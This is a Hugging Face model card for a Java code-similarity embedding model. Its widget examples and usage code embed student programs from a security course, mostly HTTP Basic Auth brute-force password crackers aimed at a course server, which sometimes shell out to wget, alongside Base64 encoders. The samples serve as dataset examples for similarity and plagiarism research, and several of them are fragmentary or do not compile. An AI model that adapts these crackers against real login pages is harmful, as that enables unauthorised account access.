stop = b;\n }\n\n public void process()\n {\n String\ + \ password = \"\";\n \n System.out.println(Thread.currentThread().getName()\ + \ +\n \"-> workload: \" +\n \ + \ this.letters[getRangeStart()] + \" \" +\n this.letters[getRangeEnd()\ + \ - 1]);\n setStart(new Timestamp(System.currentTimeMillis()));\n\n \ + \ for (int i = getRangeStart();\n i < getRangeEnd();\n \ + \ i++)\n {\n System.out.println(Thread.currentThread().getName()\ + \ +\n \"-> Trying words beginning with: \" +\n \ + \ letters[i]);\n for (int i2 = 0;\n i2 < letters.length;\n\ + \ i2++)\n {\n for (int i3 = 0;\n \ + \ i3 < letters.length;\n i3++)\n \ + \ {\n if (isStop())\n {\n \ + \ return;\n }\n try\n \ + \ {\n char [] arr = new char [] {letters[i],\ + \ letters[i2], letters[i3]};\n String pwd = new String(arr);\n\ + \ \n if (Thread.currentThread().getName().equals(\"\ + Thread-1\") && pwd.equals(\"bad\"))\n {\n \ + \ System.out.println(Thread.currentThread().getName() +\n \ + \ \"-> Trying password: \" +\n \ + \ pwd);\n }\n attempts++;\n\ + \n BasicAuthHttpRequest req =\n \ + \ new BasicAuthHttpRequest(\n getURL(),\n \ + \ getUserName(),\n \ + \ pwd);\n System.out.println(\"Got the password\");\n\ + \ setPassword(pwd);\n setEnd(new\ + \ Timestamp(System.currentTimeMillis()));\n setContent(req.getContent().toString());\n\ + \n \n this.setChanged();\n \ + \ this.notifyObservers(this.getContent());\n \ + \ return;\n }\n catch (MalformedURLException\ + \ e)\n {\n e.printStackTrace();\n \ + \ return;\n }\n catch\ + \ (IOException e)\n {\n\n }\n \ + \ }\n }\n }\n\n \n setEnd(new Timestamp(System.currentTimeMillis()));\n\ + \ }\n\n}\n" + sentences: + - "\n\npublic class Base64 {\n\n\nstatic public char[] encode(byte[] data)\n{\n\ + \ char[] out = new char[((data.length + 2) / 3) * 4];\n\n \n \n \n\ + \ \n for (int i=0, index=0; i>= 6;\n out[index+2]\ + \ = alphabet[(trip? ( bat & 0x3F): 64)];\n bat >>= 6;\n out[index+1]\ + \ = alphabet[bat & 0x3F];\n bat >>= 6;\n out[index+0] = alphabet[\ + \ bat & 0x3F];\n }\n return out;\n}\n\n \nstatic public byte[] decode(char[]\ + \ data)\n{\n \n \n \n \n \n \n\n int tempLen = data.length;\n\ + \ for( int ix=0; ix 255)\ + \ || codes[ data[ix] ] < 0 )\n --tempLen; \n }\n \n \n \ + \ \n \n\n int len = (tempLen / 4) * 3;\n if ((tempLen % 4) == 3) len\ + \ += 2;\n if ((tempLen % 4) == 2) len += 1;\n\n byte[] out = new byte[len];\n\ + \n\n\n int shift = 0; \n int accum = 0; \n int index = 0;\n\n \ + \ \n for (int ix=0; ix255)?\ + \ -1: codes[ data[ix] ];\n\n if ( value >= 0 ) \n {\n\ + \ accum <<= 6; \n shift += 6; \n\ + \ accum |= value; \n if ( shift >= 8 ) \n\ + \ {\n shift -= 8; \n out[index++]\ + \ = \n (byte) ((accum >> shift) & 0xff);\n \ + \ }\n }\n \n \n \n \n \n \n \ + \ }\n\n \n if( index != out.length)\n {\n throw new Error(\"\ + Miscalculated data length (wrote \" + index + \" instead of \" + out.length +\ + \ \")\");\n }\n\n return out;\n}\n\n\n\n\n\nstatic private char[] alphabet\ + \ =\n \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\"\ + \n .toCharArray();\n\n\n\n\nstatic private byte[] codes = new byte[256];\n\ + static {\n for (int i=0; i<256; i++) codes[i] = -1;\n for (int i = 'A';\ + \ i <= 'Z'; i++) codes[i] = (byte)( i - 'A');\n for (int i = 'a'; i <=\ + \ 'z'; i++) codes[i] = (byte)(26 + i - 'a');\n for (int i = '0'; i <= '9';\ + \ i++) codes[i] = (byte)(52 + i - '0');\n codes['+'] = 62;\n codes['/']\ + \ = 63;\n}\n}" + - "\nimport java.net.*;\nimport java.io.*;\nimport java.misc.*;\nimport java.io.BufferedInputStream;\n\ + import java.awt.*;\nimport java.awt.event.*;\n\npublic class WatchDog\n{\n public\ + \ static void main (String args[])\n {\n String url = \"http://yallara.cs.rmit.edu./~\"\ + ;\n String file1 = \"test1.txt\";\n int flag = 0;\n\n \n WriteFile\ + \ write = new WriteFile(url, file1, flag);\n\n \n \n new DoSleep().print();\n\ + \ }\n}\n\nclass DoSleep extends Thread\n{\n public synchronized void run()\n\ + \ {\n String url = \"http://yallara.cs.rmit.edu./~\";\n String file2\ + \ = \"test2.txt\";\n int flag = 1;\n int status = 0;\n String file1\ + \ = \"test1.txt\";\n\n System.out.println(\"Checking.........\");\n \ + \ try\n {\n \n \n \n sleep();\n\n \ + \ \n \n WriteFile write = new WriteFile(url, file2, flag);\n\n\ + \ status = write.getStatus();\n \n\n if(status != 0)\n\ + \ {\n int flag2 = 0;\n \n \n \ + \ WriteFile write2 = new WriteFile(url, file1, flag2);\n }\n\ + \ \n new DoSleep().print();\n }\n catch (InterruptedException\ + \ e) {}\n }\n}\n\n\n" + - "\n\n\n\n\n\n\nimport java.*;\nimport java.io.*;\nimport java.util.*;\n\npublic\ + \ class BruteForce\n{\n\n\tpublic static void main(String[] args) \n\t{\n \ + \ Runtime rt = Runtime.getRuntime();\n\t Process pr= null;\n \ + \ char chars[] = {'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};\n\ + \t String pass;\n char temp[] = {'a','a'};\n char temp1[] =\ + \ {'a','a','a'};\n char temp2[] = {'a'};\n\n\t String f= new String();\n\ + \ String resp = new String();\n int count=0;\n String\ + \ success = new String();\n InputStreamReader instre;\n BufferedReader\ + \ bufread;\n\n\n for(int k=0;k<52;k++)\n {\n \ + \ temp2[0]=chars[k];\n pass = new String(temp2); \ + \ \n count++; \n\n System.out.println(\"\ + The password tried is------->\"+pass+\"---and attempt is==\"+count);\n \ + \ \n f =\"wget --http-user= --http-passwd=\"+pass+\" http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\ + ;\n\n \n\t try\n {\n\t\t pr = rt.exec(f);\n\ + \n instre = new InputStreamReader(pr.getErrorStream());\n \ + \ \n \n bufread\ + \ = new BufferedReader(instre);\n\n resp = bufread.readLine();\n\ + \ while( (resp = bufread.readLine())!= null)\n\t\t\t {\n \ + \ if(resp.equals(\"HTTP request sent, awaiting response...\ + \ 200 OK\"))\n {\n System.out.println(\"\ + Eureka!! Eureka!!! The password has been found it is:\"+pass+\"------ attempt:\"\ + +count);\n System.exit(0);\n \ + \ }\n\t\t\t\n }\n\t \t\n }catch(java.io.IOException\ + \ e){}\n }\n\n\n\n \n for(int j=0;j<52;j++)\n \ + \ {\n for(int k=0;k<52;k++)\n {\n \ + \ temp[0]=chars[j];\n temp[1]=chars[k];\n\n \ + \ pass = new String(); \n count++; \ + \ \n\n System.out.println(\"The password tried is------->\"\ + +pass+\"---and attempt is==\"+count);\n \n f =\"wget --http-user=\ + \ --http-passwd=\"+pass+\" http://sec-crack.cs.rmit.edu./SEC/2/index.php\";\n\n\ + \ \n\t try\n {\n\t\t pr = rt.exec(f);\n\ + \n instre = new InputStreamReader(pr.getErrorStream());\n \ + \ \n \n bufread\ + \ = new BufferedReader(instre);\n\n resp = bufread.readLine();\n\ + \ while( (resp = bufread.readLine())!= null)\n\t\t\t {\n \ + \ if(resp.equals(\"HTTP request sent, awaiting response...\ + \ 200 OK\"))\n {\n System.out.println(\"\ + Eureka!! Eureka!!! The password has been found it is:\"+pass+\"------ attempt:\"\ + +count);\n System.exit(0);\n \ + \ }\n\t\t\t\n }\n\t \t\n }catch(java.io.IOException\ + \ e){}\n }\n }\n\n\n \n for(int i=0;i<52;i++)\n\ + \ for(int j=0;j<52;j++)\n for(int k=0;k<52;k++)\n \ + \ {\n temp1[0]=chars[i];\n temp1[1]=chars[j];\n\ + \ temp1[2]=chars[k];\n pass = new String(temp1);\ + \ \n count++; \n\n System.out.println(\"\ + The password tried is------->\"+pass+\"---and attempt is==\"+count);\n \ + \ \n f =\"wget --http-user= --http-passwd=\"+pass+\" http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\ + ;\n\n \n\t try\n {\n\t\t pr = rt.exec(f);\n\ + \n instre = new InputStreamReader(pr.getErrorStream());\n \ + \ \n \n bufread\ + \ = new BufferedReader(instre);\n\n resp = bufread.readLine();\n\ + \ while( (resp = bufread.readLine())!= null)\n\t\t\t {\n \ + \ if(resp.equals(\"HTTP request sent, awaiting response...\ + \ 200 OK\"))\n {\n System.out.println(\"\ + Eureka!! Eureka!!! The password has been found it is:\"+pass+\"------ attempt:\"\ + +count);\n System.exit(0);\n \ + \ }\n\t\t\t\n }\n\t \t\n }catch(java.io.IOException\ + \ e){}\n }\n\t\n\t\t\n\t}\n\t\n\t\n} \n\t\t\n" +- source_sentence: "\n\nimport java.awt.*;\nimport java.awt.event.*;\nimport java.io.*;\n\ + import java.net.*;\n\npublic class BruteForce extends Frame implements ActionListener\ + \ {\n\tprivate TextField tf = new TextField();\n private TextArea ta = new\ + \ TextArea();\n\n \tpublic void actionPerformed (ActionEvent e) {\n\t\tString\ + \ s = tf.getText();\n\t\tString login=\"\";\n\n\t\tif (s.length() != 0)\n\t\t\ + {\n\t\t\tchar symbol = 'A';\n\n\t\t\tlogin=\":\";\n\t\t\t\n\t\t\tfor(int i = 0;\ + \ i < 3; i++)\n\t\t\t{\n\t\t\t\tsymbol = (char)(57.0 * Math.random() + 65);\n\n\ + \t\t\t\tif(symbol>90 && symbol<97){\n\t\t\t\t\ti--;\n\t\t\t\t\tcontinue;\n\t\t\ + \t\t}\n\t\t\t\tlogin=login+symbol;\n\n\t\t\t}\n\n\t\t ta.setText (fetchURL\ + \ (s,login));\n\t\t System.out.println(\"runing\"+login);\n\t\t}while(ta.getText().compareTo(\"\ + Invalid URL\")!=0 || ta.getText().compareTo(\"Error URL\")!=0);\n\n\t\tSystem.out.println(\"\ + The password is: \"+login);\n\t}\n\n\tpublic BruteForce() {\n\t\tsuper (\"SEC-CRACK\"\ + );\n\n\t \n\t add (tf, BorderLayout.LEFT);\n\t ta.setEditable(false);\n\ + \t add (ta, BorderLayout.CENTER);\n\t tf.addActionListener (this);\n\n\t\ + \ addWindowListener (new WindowAdapter() {\n\t public void windowClosing\ + \ (WindowEvent e) {\n\t dispose();\n\t System.exit(0);\n\t \ + \ }\n\t });\n\t}\n\n\tprivate String fetchURL (String urlString,String\ + \ login) {\n\t\tStringWriter sw = new StringWriter();\n\t PrintWriter pw =\ + \ new PrintWriter();\n\n\t try {\n\t URL url = new URL (urlString);\n\ + \n\t \n\t\n\t \n\n\t \n\t String encoding = new url.misc.BASE64Encoder().encode\ + \ (login.getBytes());\n\n\t \n\t URLConnection uc = url.openConnection();\n\ + \t uc.setRequestProperty (\"Authorization\", \" \" + encoding);\n\t \ + \ InputStream content = (InputStream)uc.getInputStream();\n\t BufferedReader\ + \ in =\n\t new BufferedReader (new InputStreamReader (content));\n\t\ + \ String line;\n\t while ((line = in.readLine()) != null) {\n\t \ + \ pw.println (line);\n\t }\n\t } catch (MalformedURLException\ + \ e) {\n\t pw.println (\"Invalid URL\");\n\t } catch (IOException e)\ + \ {\n\t pw.println (\"Error URL\");\n\t }\n\t return sw.toString();\n\ + \t}\n\n\n\tpublic static void main(String args[]) {\n\t\tFrame f = new BruteForce();\n\ + \t f.setSize(300, 300);\n\t f.setVisible (true);\n\t}\n}\n\n\n\n\nclass\ + \ Base64Converter\n{\n\tpublic static final char [ ] alphabet = {\n 'A',\ + \ 'B', 'C', 'D', 'E', 'F', 'G', 'H', \n 'I', 'J', 'K', 'L', 'M', 'N',\ + \ 'O', 'P', \n 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', \n 'Y',\ + \ 'Z', 'a', 'b', 'c', 'd', 'e', 'f', \n 'g', 'h', 'i', 'j', 'k', 'l',\ + \ 'm', 'n', \n 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', \n 'w',\ + \ 'x', 'y', 'z', '0', '1', '2', '3', \n '4', '5', '6', '7', '8', '9',\ + \ '+', '/' }; \n\n\n public static String encode ( String s )\n {\n\ + \ return encode ( s.getBytes ( ) );\n }\n\n public static String\ + \ encode ( byte [ ] octetString )\n {\n int bits24;\n int\ + \ bits6;\n\n char [ ] out\n = new char [ ( ( octetString.length\ + \ - 1 ) / 3 + 1 ) * 4 ];\n\n int outIndex = 0;\n int i = 0;\n\ + \n while ( ( i + 3 ) <= octetString.length )\n {\n \n \ + \ bits24 = ( octetString [ i++ ] & 0xFF ) << 16;\n bits24 |= (\ + \ octetString [ i++ ] & 0xFF ) << 8;\n bits24 |= ( octetString [ i++\ + \ ] & 0xFF ) << 0;\n\n bits6 = ( bits24 & 0x00FC0000 ) >> 18;\n \ + \ out [ outIndex++ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x0003F000\ + \ ) >> 12;\n out [ outIndex++ ] = alphabet [ bits6 ];\n bits6\ + \ = ( bits24 & 0x00000FC0 ) >> 6;\n out [ outIndex++ ] = alphabet [ bits6\ + \ ];\n bits6 = ( bits24 & 0x0000003F );\n out [ outIndex++ ]\ + \ = alphabet [ bits6 ];\n }\n\n if ( octetString.length - i == 2 )\n\ + \ {\n \n bits24 = ( octetString [ i ] & 0xFF ) <<\ + \ 16;\n bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8;\n\n \ + \ bits6 = ( bits24 & 0x00FC0000 ) >> 18;\n out [ outIndex++ ] = alphabet\ + \ [ bits6 ];\n bits6 = ( bits24 & 0x0003F000 ) >> 12;\n out\ + \ [ outIndex++ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x00000FC0\ + \ ) >> 6;\n out [ outIndex++ ] = alphabet [ bits6 ];\n\n \n \ + \ out [ outIndex++ ] = '=';\n }\n else if ( octetString.length\ + \ - i == 1 )\n {\n \n bits24 = ( octetString [ i ] &\ + \ 0xFF ) << 16;\n\n bits6 = ( bits24 & 0x00FC0000 ) >> 18;\n \ + \ out [ outIndex++ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x0003F000\ + \ ) >> 12;\n out [ outIndex++ ] = alphabet [ bits6 ];\n\n \n\ + \ out [ outIndex++ ] = '=';\n out [ outIndex++ ] = '=';\n \ + \ }\n\n return new String ( out );\n }\n}\n\n" + sentences: + - "\n\nimport java.io.*;\nimport java.text.*;\nimport java.util.*;\nimport java.net.*;\n\ + \npublic class BruteForce extends Thread\n{\n private static final String USERNAME\ + \ = \"\";\n private static final char [] POSSIBLE_CHAR =\n {'a', 'b',\ + \ 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',\n 'n', 'o', 'p',\ + \ 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z',\n 'A', 'B', 'C', 'D',\ + \ 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M',\n 'N', 'O', 'P', 'Q', 'R',\ + \ 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};\n private static int NUMBER_OF_THREAD\ + \ = 500;\n\n private static Date startDate = null;\n private static Date endDate\ + \ = null;\n\n private String address;\n private String password;\n\n public\ + \ BruteForce(String address, String password)\n {\n this.address = address;\n\ + \ this.password = password;\n }\n\n public static void main(String[]\ + \ args) throws IOException\n {\n if (args.length < 1)\n {\n \ + \ System.err.println(\"Invalid usage!\");\n System.err.println(\"Usage:\ + \ java BruteForce \");\n System.exit(1);\n }\n\n try\n\ + \ {\n brute(args[0], USERNAME);\n }\n catch(Exception e)\n\ + \ {\n e.printStackTrace();\n System.exit(1);\n }\n \ + \ }\n\n public static void brute(String address, String user)\n {\n \ + \ BruteForce [] threads = new BruteForce[NUMBER_OF_THREAD];\n int index =\ + \ 0;\n\n startDate = new Date();\n for(int i = 0; i < POSSIBLE_CHAR.length;\ + \ i++)\n {\n for(int j = 0; j < POSSIBLE_CHAR.length; j++)\n \ + \ {\n for(int k = 0; k < POSSIBLE_CHAR.length; k++)\n \ + \ {\n String password = \"\"+POSSIBLE_CHAR[i]+POSSIBLE_CHAR[j]+\n\ + \ POSSIBLE_CHAR[k];\n\n if (threads[index]\ + \ != null && threads[index].isAlive())\n {\n try\n\ + \ {\n threads[index].join();\n \ + \ }\n catch(InterruptedException e ) {}\n \ + \ }\n threads[index] = new BruteForce(address, password);\n \ + \ threads[index].get();\n\n index = (index++) % threads.length;\n\ + \ }\n }\n }\n }\n\n public void run()\n {\n \ + \ if (endDate != null)\n return;\n\n try\n {\n\n URLConnection\ + \ conn = (new URL(address)).openConnection();\n conn.setDoInput(true);\n\ + \n if (login(conn, USERNAME, password))\n {\n endDate\ + \ = new Date();\n System.out.println(\"Found the password: \\\"\"+password+\"\ + \\\"!\");\n SimpleDateFormat format = new SimpleDateFormat(\"dd/MM/yyyy\ + \ HH:mm:\");\n System.out.println(\"Process started at: \"+format.format(startDate));\n\ + \ System.out.println(\"Process started at: \"+format.format(endDate));\n\ + \ double timeTaken = (double)(endDate.getTime()-startDate.getTime())/60000;\n\ + \ System.out.println(\"Time taken: \"+timeTaken+\" minutes\");\n \ + \ System.exit(0);\n }\n else\n {\n \ + \ System.out.println(\"Password: \\\"\"+password+\"\\\" Failed!\");\n \ + \ return;\n }\n }\n catch(Exception e)\n {\n \ + \ e.printStackTrace();\n }\n\n }\n\n public static boolean login(URLConnection\ + \ conn, String user, String pass)\n {\n try\n {\n String encodeAuth\ + \ = \" \"+Base64Encoder.encode(user+\":\"+pass);\n conn.setRequestProperty\ + \ (\"Authorization\", encodeAuth);\n conn.connect();\n conn.getInputStream();\n\ + \ }\n catch(Exception e)\n {\n return false;\n }\n\ + \ return true;\n }\n}\n\n\n" + - "\n\nimport java.net.*;\nimport java.io.*;\n\npublic class Base64Encoder\n{\n\ + \ private final static char base64Array [] = {\n 'A', 'B', 'C', 'D',\ + \ 'E', 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n \ + \ 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b',\ + \ 'c', 'd', 'e', 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n \ + \ 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y', 'z',\ + \ '0', '1', '2', '3',\n '4', '5', '6', '7', '8', '9', '+', '/'\n \ + \ };\n\n public static String encode (String string)\n {\n String encodedString\ + \ = \"\";\n byte bytes [] = string.getBytes ();\n int i = 0;\n \ + \ int pad = 0;\n while (i < bytes.length)\n {\n byte b1 = bytes\ + \ [i++];\n byte b2;\n byte b3;\n if (i >= bytes.length)\n\ + \ {\n b2 = 0;\n b3 = 0;\n pad = 2;\n\ + \ }\n else\n {\n b2 = bytes [i++];\n \ + \ if (i >= bytes.length)\n {\n b3 = 0;\n \ + \ pad = 1;\n }\n else\n b3 = bytes\ + \ [i++];\n }\n\n byte c1 = (byte)(b1 >> 2);\n byte c2\ + \ = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf)\ + \ << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\ + \ += base64Array [c1];\n encodedString += base64Array [c2];\n \ + \ switch (pad)\n {\n case 0:\n encodedString\ + \ += base64Array [c3];\n encodedString += base64Array [c4];\n \ + \ break;\n case 1:\n encodedString += base64Array\ + \ [c3];\n encodedString += \"=\";\n break;\n \ + \ case 2:\n encodedString += \"==\";\n break;\n\ + \ }\n }\n return encodedString;\n }\n}\n" + - "import java.net.*;\nimport java.io.*;\n\n public class Bruteforce {\n int attempts\ + \ = 0;\n int l = 65;int m = 65;int n = 65;\n URLConnection conn = null;\n\n\ + \ public static void main(String args[]){\n \n\tBruteforce a = new Bruteforce();\n\ + \ a.attack(args);\n }\n\n public void attack(String args[]) {\n \ + \ try {\n\n String login = new String(\"\");\n String url = new String(\"\ + http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n String passwd = new\ + \ String();\n\n\t passwd = getPasswd();\n BufferedReader in = new BufferedReader(\ + \ new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n\ + \ String line;\n while ((line = in.readLine()) != null) {\n \ + \ System.out.println(line);\n }\n System.out.println(\"\ + Password Cracked Successfully!!!\");\n System.out.println(\"The passsword\ + \ is :\" + passwd + \"and got after \" + attempts + \" tries\");\n }\n \ + \ catch (IOException e) {\n \n String r = new String(e.getMessage());\n\ + \ if ( r != null)\n {\n System.out.println(\"Message :\" +r);\n \ + \ System.out.println(\"Trying again with new password\");\n Bruteforce a =\ + \ new Bruteforce();\n a.attack(args);\n }\n else\n {\n\tSystem.out.println(\"\ + Trying again with new password\");\n\tBruteforce a = new Bruteforce();\n\ta.attack(args);\n\ + \ }\n }\n }\n public String getPasswd()\n {\n attempts++;\n\n \ + \ char i1 = 0;\n char j1 = 0;\n char k1 = 0;\n \n int i= l; \ + \ int j= m; int k= n;\n\n String c = new String();\n String c1 = new\ + \ String();\n String c2 = new String();\n String c3 = new String();\n \ + \ String c4 = new String();\n boolean flag;\n\n for (i=l;i<123;i++)\n \ + \ for (j=m;j<123;j++)\n for (k=n;k<123;k++)\n {\n if( flag = true\ + \ )\n {\n\n i1 = (char)i;\n j1 = (char)j;\n k1 = (char)k;\n\n\ + \ if (i==91) i=97;\n if (j==91) j=97;\n if (k==91) k=97;\n\n c = i1+\"\ + \";\n c1 = j1+\"\";\n c2 = k1+\"\";\n c3 = c.concat(c1);\n c4 = c3.concat(c2);\n\ + \ }else break;\n }\n flag = false;\n return c4;\n }\n\n public InputStream\ + \ openURLForInput (URL url, String uname, String pword)\n throws IOException \ + \ {\n conn = url.openConnection();\n conn.setDoInput (true);\n conn.setRequestProperty\ + \ (\"Authorization\", PasswordBase64(uname,pword));\n conn.connect ();\n \ + \ return conn.getInputStream();\n }\n\n\n public String PasswordBase64(String\ + \ username, String password) {\n return \" \" + base64Encode (username + \"\ + :\" + password);\n }\n\n private final static char base64Array [] = {\n \ + \ 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M',\ + \ 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y',\ + \ 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm',\ + \ 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y',\ + \ 'z', '0', '1', '2', '3',\n '4', '5', '6', '7', '8', '9', '+', '/'\n };\n\ + \n private static String base64Encode (String string) {\n String encodedString\ + \ = \"\";\n byte bytes [] = string.getBytes ();\n int i = 0;\n int\ + \ pad = 0;\n while (i < bytes.length) {\n byte b1 = bytes [i++];\n \ + \ byte b2;\n byte b3;\n if (i >= bytes.length) {\n b2\ + \ = 0;\n b3 = 0;\n pad = 2;\n }\n else {\n \ + \ b2 = bytes [i++];\n if (i >= bytes.length) {\n b3\ + \ = 0;\n pad = 1;\n }\n else\n b3\ + \ = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n byte\ + \ c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 &\ + \ 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\ + \ += base64Array [c1];\n encodedString += base64Array [c2];\n switch\ + \ (pad) {\n case 0:\n encodedString += base64Array [c3];\n \ + \ encodedString += base64Array [c4];\n break;\n case 1:\n\ + \ encodedString += base64Array [c3];\n encodedString += \"=\"\ + ;\n break;\n case 2:\n encodedString += \"==\";\n \ + \ break;\n }\n }\n return encodedString;\n }\n }\n" +datasets: +- buelfhood/SOCO_TRAIN_java +pipeline_tag: sentence-similarity +library_name: sentence-transformers +--- + +# SentenceTransformer based on microsoft/unixcoder-base-unimodal + +This is a [sentence-transformers](https://www.SBERT.net) model finetuned from [microsoft/unixcoder-base-unimodal](https://huggingface.co/microsoft/unixcoder-base-unimodal) on the [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) dataset. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more. + +## Model Details + +### Model Description +- **Model Type:** Sentence Transformer +- **Base model:** [microsoft/unixcoder-base-unimodal](https://huggingface.co/microsoft/unixcoder-base-unimodal) +- **Maximum Sequence Length:** 512 tokens +- **Output Dimensionality:** 768 dimensions +- **Similarity Function:** Cosine Similarity +- **Training Dataset:** + - [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) + + + +### Model Sources + +- **Documentation:** [Sentence Transformers Documentation](https://sbert.net) +- **Repository:** [Sentence Transformers on GitHub](https://github.com/UKPLab/sentence-transformers) +- **Hugging Face:** [Sentence Transformers on Hugging Face](https://huggingface.co/models?library=sentence-transformers) + +### Full Model Architecture + +``` +SentenceTransformer( + (0): Transformer({'max_seq_length': 512, 'do_lower_case': False}) with Transformer model: RobertaModel + (1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True}) +) +``` + +## Usage + +### Direct Usage (Sentence Transformers) + +First install the Sentence Transformers library: + +```bash +pip install -U sentence-transformers +``` + +Then you can load this model and run inference. +```python +from sentence_transformers import SentenceTransformer + +# Download from the 🤗 Hub +model = SentenceTransformer("buelfhood/SOCO-Java-UnixCoder-Softmax-PairClass-VAST-e50") +# Run inference +sentences = [ + '\n\nimport java.awt.*;\nimport java.awt.event.*;\nimport java.io.*;\nimport java.net.*;\n\npublic class BruteForce extends Frame implements ActionListener {\n\tprivate TextField tf = new TextField();\n private TextArea ta = new TextArea();\n\n \tpublic void actionPerformed (ActionEvent e) {\n\t\tString s = tf.getText();\n\t\tString login="";\n\n\t\tif (s.length() != 0)\n\t\t{\n\t\t\tchar symbol = \'A\';\n\n\t\t\tlogin=":";\n\t\t\t\n\t\t\tfor(int i = 0; i < 3; i++)\n\t\t\t{\n\t\t\t\tsymbol = (char)(57.0 * Math.random() + 65);\n\n\t\t\t\tif(symbol>90 && symbol<97){\n\t\t\t\t\ti--;\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\tlogin=login+symbol;\n\n\t\t\t}\n\n\t\t ta.setText (fetchURL (s,login));\n\t\t System.out.println("runing"+login);\n\t\t}while(ta.getText().compareTo("Invalid URL")!=0 || ta.getText().compareTo("Error URL")!=0);\n\n\t\tSystem.out.println("The password is: "+login);\n\t}\n\n\tpublic BruteForce() {\n\t\tsuper ("SEC-CRACK");\n\n\t \n\t add (tf, BorderLayout.LEFT);\n\t ta.setEditable(false);\n\t add (ta, BorderLayout.CENTER);\n\t tf.addActionListener (this);\n\n\t addWindowListener (new WindowAdapter() {\n\t public void windowClosing (WindowEvent e) {\n\t dispose();\n\t System.exit(0);\n\t }\n\t });\n\t}\n\n\tprivate String fetchURL (String urlString,String login) {\n\t\tStringWriter sw = new StringWriter();\n\t PrintWriter pw = new PrintWriter();\n\n\t try {\n\t URL url = new URL (urlString);\n\n\t \n\t\n\t \n\n\t \n\t String encoding = new url.misc.BASE64Encoder().encode (login.getBytes());\n\n\t \n\t URLConnection uc = url.openConnection();\n\t uc.setRequestProperty ("Authorization", " " + encoding);\n\t InputStream content = (InputStream)uc.getInputStream();\n\t BufferedReader in =\n\t new BufferedReader (new InputStreamReader (content));\n\t String line;\n\t while ((line = in.readLine()) != null) {\n\t pw.println (line);\n\t }\n\t } catch (MalformedURLException e) {\n\t pw.println ("Invalid URL");\n\t } catch (IOException e) {\n\t pw.println ("Error URL");\n\t }\n\t return sw.toString();\n\t}\n\n\n\tpublic static void main(String args[]) {\n\t\tFrame f = new BruteForce();\n\t f.setSize(300, 300);\n\t f.setVisible (true);\n\t}\n}\n\n\n\n\nclass Base64Converter\n{\n\tpublic static final char [ ] alphabet = {\n \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\', \n \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\', \n \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\', \n \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\', \n \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\', \n \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\', \n \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\', \n \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\' }; \n\n\n public static String encode ( String s )\n {\n return encode ( s.getBytes ( ) );\n }\n\n public static String encode ( byte [ ] octetString )\n {\n int bits24;\n int bits6;\n\n char [ ] out\n = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ];\n\n int outIndex = 0;\n int i = 0;\n\n while ( ( i + 3 ) <= octetString.length )\n {\n \n bits24 = ( octetString [ i++ ] & 0xFF ) << 16;\n bits24 |= ( octetString [ i++ ] & 0xFF ) << 8;\n bits24 |= ( octetString [ i++ ] & 0xFF ) << 0;\n\n bits6 = ( bits24 & 0x00FC0000 ) >> 18;\n out [ outIndex++ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x0003F000 ) >> 12;\n out [ outIndex++ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x00000FC0 ) >> 6;\n out [ outIndex++ ] = alphabet 